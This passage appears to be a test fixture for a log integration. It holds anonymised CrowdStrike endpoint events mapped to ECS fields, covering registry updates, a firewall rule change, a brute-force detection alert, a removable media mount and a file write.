\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1", + "RegType": "7", + "RegValueName": "ee0bc2006c367f53b607da1122e", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "2e723341d059eefec4c8ff3c9062764c68e3", + "name": "0e92d5a77de501c1f1c9064" + }, + "device": { + "id": "52cf03e6cbd930e0081ab561b4366e03" + }, + "event": { + "action": "modification", + "category": [ + "registry" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "2e723341d059eefec4c8ff3c9062764c68e3|52cf03e6cbd930e0081ab561b4366e03|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"98420079085202\",\"aip\":\"89.160.20.112\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\32d7e82\\\\185d320a\",\"RegClassificationFlags\":\"454\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"2e723341d059eefec4c8ff3c9062764c68e3\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"1c\\\\e2\\\\82\\\\d598026\\\\d62f\\\\9420a69.exe\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\c663c82b\\\\d62f\\\\fbcbd9a.tmp\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\add7750.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\add7750.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\89e8b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\89e8b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\d4579.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\d4579.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\a64335cc.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\a64335cc.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\c54e80.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\c54e80.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\7d32a173.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\7d32a173.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\15288c.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\15288c.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\18f\\\\4ad95b3.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\4ad95b3.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\d62f\\\\9420a69.exe\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\18f\\\\bc742c1d.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\bc742c1d.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\25c3c8.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\25c3c8.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\a010c85.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\a010c85.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\0c2f6a2.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\0c2f6a2.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\b214b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\b214b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\b522a4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\b522a4.DLL\\u0000*1\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegGenericValueUpdate\",\"ContextTimeStamp\":\"1761698586.458\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"2090006508607\",\"RegType\":\"7\",\"RegClassificationIndex\":\"430\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"ee0bc2006c367f53b607da1122e\",\"RegClassification\":\"806\",\"Entitlements\":\"66\",\"name\":\"0e92d5a77de501c1f1c9064\",\"aid\":\"52cf03e6cbd930e0081ab561b4366e03\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "52cf03e6cbd930e0081ab561b4366e03", + "os": { + "type": "windows" + } + }, + "message": "RegGenericValueUpdate", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "52cf03e6cbd930e0081ab561b4366e03", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "2090006508607", + "thread": { + "id": 98420079085202 + } + }, + "registry": { + "data": { + "strings": [ + "1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1" + ], + "type": "REG_MULTI_SZ" + }, + "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a", + "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a\\ee0bc2006c367f53b607da1122e", + "value": "ee0bc2006c367f53b607da1122e" + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "6000088020", + "ContextProcessId": "209450604006", + "EffectiveTransmissionClass": "2", + "Entitlements": "86", + "EventOrigin": "1", + "PatternId": "24871", + "RegClassification": "40", + "RegClassificationFlags": "1", + "RegClassificationIndex": "3", + "RegObjectName": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d", + "RegOperationType": "2", + "RegValueName": "d4ae4138ea91", + "TemplateDisposition": "40", + "TemplateInstanceId": "10229", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "46ae86d862c2856f051da60792378c9a659e", + "name": "ac9954e67836781b8f5b89ec31d8d" + }, + "device": { + "id": "8b6270fbf7dd1d35cb564438ccd92475" + }, + "event": { + "action": "deletion", + "category": [ + "registry" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "46ae86d862c2856f051da60792378c9a659e|8b6270fbf7dd1d35cb564438ccd92475|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"TemplateInstanceId\":\"10229\",\"aip\":\"81.2.69.142\",\"RegClassificationFlags\":\"1\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\4f779032\\\\c7bac469\\\\d598026\\\\1f728162\\\\00d\",\"RegOperationType\":\"2\",\"event_platform\":\"Win\",\"PatternId\":\"24871\",\"EventOrigin\":\"1\",\"id\":\"46ae86d862c2856f051da60792378c9a659e\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegistryOperationDetectInfo\",\"ConfigStateHash\":\"6000088020\",\"TemplateDisposition\":\"40\",\"ContextProcessId\":\"209450604006\",\"RegClassificationIndex\":\"3\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"d4ae4138ea91\",\"CommandLine\":\"54d\\\\9134161b\\\\b169fe25\\\\d528e266.exe\\\"\",\"RegClassification\":\"40\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\d528e266.exe\",\"Entitlements\":\"86\",\"name\":\"ac9954e67836781b8f5b89ec31d8d\",\"aid\":\"8b6270fbf7dd1d35cb564438ccd92475\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "host": { + "id": "8b6270fbf7dd1d35cb564438ccd92475", + "os": { + "type": "windows" + } + }, + "message": "RegistryOperationDetectInfo", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "8b6270fbf7dd1d35cb564438ccd92475", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "54d\\9134161b\\b169fe25\\d528e266.exe" + ], + "args_count": 1, + "command_line": "54d\\9134161b\\b169fe25\\d528e266.exe\"", + "entity_id": "209450604006", + "executable": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe", + "name": "d528e266.exe" + }, + "registry": { + "key": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d", + "path": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d\\d4ae4138ea91", + "value": "d4ae4138ea91" + }, + "related": { + "hash": [ + "6000088020" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "864", + "ConfigStateHash": "2080600092", + "ContextProcessId": "1007045000929", + "ContextTimeStamp": "2025-10-02T16:56:51.858Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "1", + "RegClassification": "334", + "RegClassificationFlags": "1", + "RegClassificationIndex": "718", + "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d", + "RegOperationType": "1", + "RegStringValue": "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|", + "RegType": "1", + "RegValueName": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "8f2302b7d2a07c5d5568941494e0368e0144", + "name": "24ba14f1e5840e900e581616a2fe" + }, + "device": { + "id": "be027d4cbada339f804f9c19f5a2d5a6" + }, + "event": { + "action": "modification", + "category": [ + "registry", + "host", + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"700420809200030\",\"aip\":\"81.2.69.192\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\604dce44\\\\9d9abc6f\\\\e68b36b1\\\\336a62f8\\\\348c576d\",\"RegClassificationFlags\":\"1\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\9134161b\\\\3a93a12\\\\82be212b\\\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegSystemConfigValueUpdate\",\"ContextTimeStamp\":\"1759424211.858\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"1007045000929\",\"RegType\":\"1\",\"RegClassificationIndex\":\"718\",\"AuthenticationId\":\"864\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"RegClassification\":\"334\",\"Entitlements\":\"86\",\"name\":\"24ba14f1e5840e900e581616a2fe\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "be027d4cbada339f804f9c19f5a2d5a6", + "os": { + "type": "windows" + } + }, + "message": "RegSystemConfigValueUpdate", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "be027d4cbada339f804f9c19f5a2d5a6", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "1007045000929", + "thread": { + "id": 700420809200030 + } + }, + "registry": { + "data": { + "strings": [ + "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|" + ], + "type": "REG_SZ" + }, + "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d", + "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d\\{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", + "value": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}" + }, + "related": { + "hash": [ + "2080600092" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "6870020050", + "ContextProcessId": "25700434000", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "LogonType": "3", + "PatternId": "200", + "TotalCount": 4051, + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "2e41e2c0447e07249a69dbdc70a72aec40d4", + "name": "35b635ba0a924203f13f0a9f8f7d" + }, + "device": { + "id": "a72936ae0acff156c05af8238b6a10eb" + }, + "event": { + "action": "RemoteBruteForceDetectInfo", + "category": [ + "malware", + "authentication" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "2e41e2c0447e07249a69dbdc70a72aec40d4|a72936ae0acff156c05af8238b6a10eb|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"RemoteBruteForceDetectInfo\",\"UserName\":\"\",\"ConfigStateHash\":\"6870020050\",\"ContextProcessId\":\"25700434000\",\"LogonType\":\"3\",\"aip\":\"81.2.69.144\",\"LogonDomain\":\"\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"82\\\\340d600\\\\4a6a0a4b\\\\4cdbc.exe\",\"TotalCount\":\"4051\",\"PatternId\":\"200\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\4cdbc.exe\",\"Entitlements\":\"66\",\"name\":\"35b635ba0a924203f13f0a9f8f7d\",\"EventOrigin\":\"1\",\"id\":\"2e41e2c0447e07249a69dbdc70a72aec40d4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"a72936ae0acff156c05af8238b6a10eb\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "a72936ae0acff156c05af8238b6a10eb", + "os": { + "type": "windows" + } + }, + "message": "RemoteBruteForceDetectInfo", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "a72936ae0acff156c05af8238b6a10eb", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "82\\340d600\\4a6a0a4b\\4cdbc.exe" + ], + "args_count": 1, + "command_line": "82\\340d600\\4a6a0a4b\\4cdbc.exe", + "entity_id": "25700434000", + "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe", + "name": "4cdbc.exe" + }, + "related": { + "hash": [ + "6870020050" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "8090285900", + "ContextProcessId": "655070024024", + "ContextTimeStamp": "2025-06-30T05:11:02.872Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "IsOnRemovableDisk": "1", + "VolumeDeviceCharacteristics": "100402", + "VolumeDeviceObjectFlags": "0", + "VolumeDeviceType": "8", + "VolumeDriveLetter": "4e", + "VolumeEncryptionStatus": "0", + "VolumeFileSystemDevice": "\\ddc", + "VolumeFileSystemDriver": "\\6b634d3d\\7a5851b", + "VolumeFileSystemType": "3", + "VolumeIsEncrypted": "0", + "VolumeMountPoint": "\\e2\\cf8397ea", + "VolumeName": "\\6ba0bd\\257d4e13", + "VolumeRealDeviceName": "\\6ba0bd\\257d4e13", + "VolumeSectorSize": "940", + "VolumeSessionUUID": "c8838ad8-1da8-43ae-8c85-3c2309eab164", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "5762ba1aab05fd80cadfb13f146bc3ce868c", + "name": "b47570143699a945cde3e5764a9843" + }, + "device": { + "id": "6d58dee7855f7a94dc887ec52805de46" + }, + "event": { + "action": "RemovableMediaVolumeMounted", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "5762ba1aab05fd80cadfb13f146bc3ce868c|6d58dee7855f7a94dc887ec52805de46|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"VolumeSessionUUID\":\"c8838ad8-1da8-43ae-8c85-3c2309eab164\",\"ContextThreadId\":\"300005906805\",\"aip\":\"81.2.69.192\",\"VolumeMountPoint\":\"\\\\e2\\\\cf8397ea\",\"VolumeDriveLetter\":\"4e\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"0\",\"VolumeFileSystemDevice\":\"\\\\ddc\",\"VolumeIsEncrypted\":\"0\",\"VolumeFileSystemDriver\":\"\\\\6b634d3d\\\\7a5851b\",\"DiskParentDeviceInstanceId\":\"61f\\\\cd4242a2\\\\a3fcbe35\",\"VolumeDeviceCharacteristics\":\"100402\",\"id\":\"5762ba1aab05fd80cadfb13f146bc3ce868c\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RemovableMediaVolumeMounted\",\"VolumeName\":\"\\\\6ba0bd\\\\257d4e13\",\"ContextTimeStamp\":\"1751260262.872\",\"VolumeSectorSize\":\"940\",\"ConfigStateHash\":\"8090285900\",\"ContextProcessId\":\"655070024024\",\"VolumeRealDeviceName\":\"\\\\6ba0bd\\\\257d4e13\",\"ConfigBuild\":\"ad5.4.ae3729d.6\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"3\",\"IsOnRemovableDisk\":\"1\",\"Entitlements\":\"96\",\"name\":\"b47570143699a945cde3e5764a9843\",\"aid\":\"6d58dee7855f7a94dc887ec52805de46\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "device": "61f\\cd4242a2\\a3fcbe35" + }, + "host": { + "id": "6d58dee7855f7a94dc887ec52805de46", + "os": { + "type": "windows" + } + }, + "message": "RemovableMediaVolumeMounted", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "6d58dee7855f7a94dc887ec52805de46", + "version": "ad5.4.ae3729d.6" + }, + "process": { + "entity_id": "655070024024", + "thread": { + "id": 300005906805 + } + }, + "related": { + "hash": [ + "8090285900" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "BoundingLimitCount": 10, + "BoundingLimitDuration": "8486640", + "ConfigStateHash": "30820000", + "ContextBaseFileName": "6866e9cdd4c02", + "ContextProcessId": "600400303060", + "ContextTimeStamp": "2025-08-24T04:14:11.353Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "1", + "FileCategory": "2", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-49065-57943-32307", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "2", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "a6c319e36889013fd1a9cb1e28db73a2d47b", + "name": "e5968210c929a23b0" + }, + "device": { + "id": "827afde25ba0eeda5d204a68ff612048" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "a6c319e36889013fd1a9cb1e28db73a2d47b|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-49065-57943-32307\",\"ContextBaseFileName\":\"6866e9cdd4c02\",\"FileCategory\":\"2\",\"Size\":\"507310\",\"ContextThreadId\":\"1006000509974\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"IsOnNetwork\":\"0\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\dc08d203\\\\6d4a9f57\",\"id\":\"a6c319e36889013fd1a9cb1e28db73a2d47b\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RtfFileWritten\",\"ContextTimeStamp\":\"1756008851.353\",\"UserName\":\"352ad1966\",\"ConfigStateHash\":\"30820000\",\"ContextProcessId\":\"600400303060\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"8486640\",\"Entitlements\":\"86\",\"name\":\"e5968210c929a23b0\",\"OperationFlags\":\"0\",\"aid\":\